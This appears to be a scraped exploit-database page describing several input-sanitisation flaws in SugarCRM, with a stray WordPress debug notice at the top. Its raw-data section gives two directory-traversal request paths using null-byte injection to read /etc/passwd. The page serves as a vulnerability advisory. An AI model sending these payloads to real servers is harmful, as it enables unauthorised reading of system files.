Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Multiple Vulnerabilities in SugarCRM - exploit.company
header-logo
Suggest Exploit
vendor:
SugarCRM
by:
7.5
CVSS
HIGH
Cross-Site Scripting, HTML Injection, SQL Injection, Directory Traversal
79, 80, 89, 22
CWE
Product Name: SugarCRM
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Multiple Vulnerabilities in SugarCRM

The vulnerabilities in SugarCRM arise from insufficient sanitization of user-supplied input. These vulnerabilities can be exploited by a remote attacker to carry out various attacks such as cross-site scripting, HTML injection, SQL injection, and directory traversal.

Mitigation:

To mitigate these vulnerabilities, it is recommended to implement proper input validation and sanitization mechanisms in the affected application. Additionally, keeping the application up-to-date with the latest patches and security fixes is crucial.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11740/info
 
SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.

/index.php?module=Opportunities&action=../../../../../../../../etc /passwd%00&advanced=true
/index.php?action=DetailView&module=../../../../../etc/passwd%00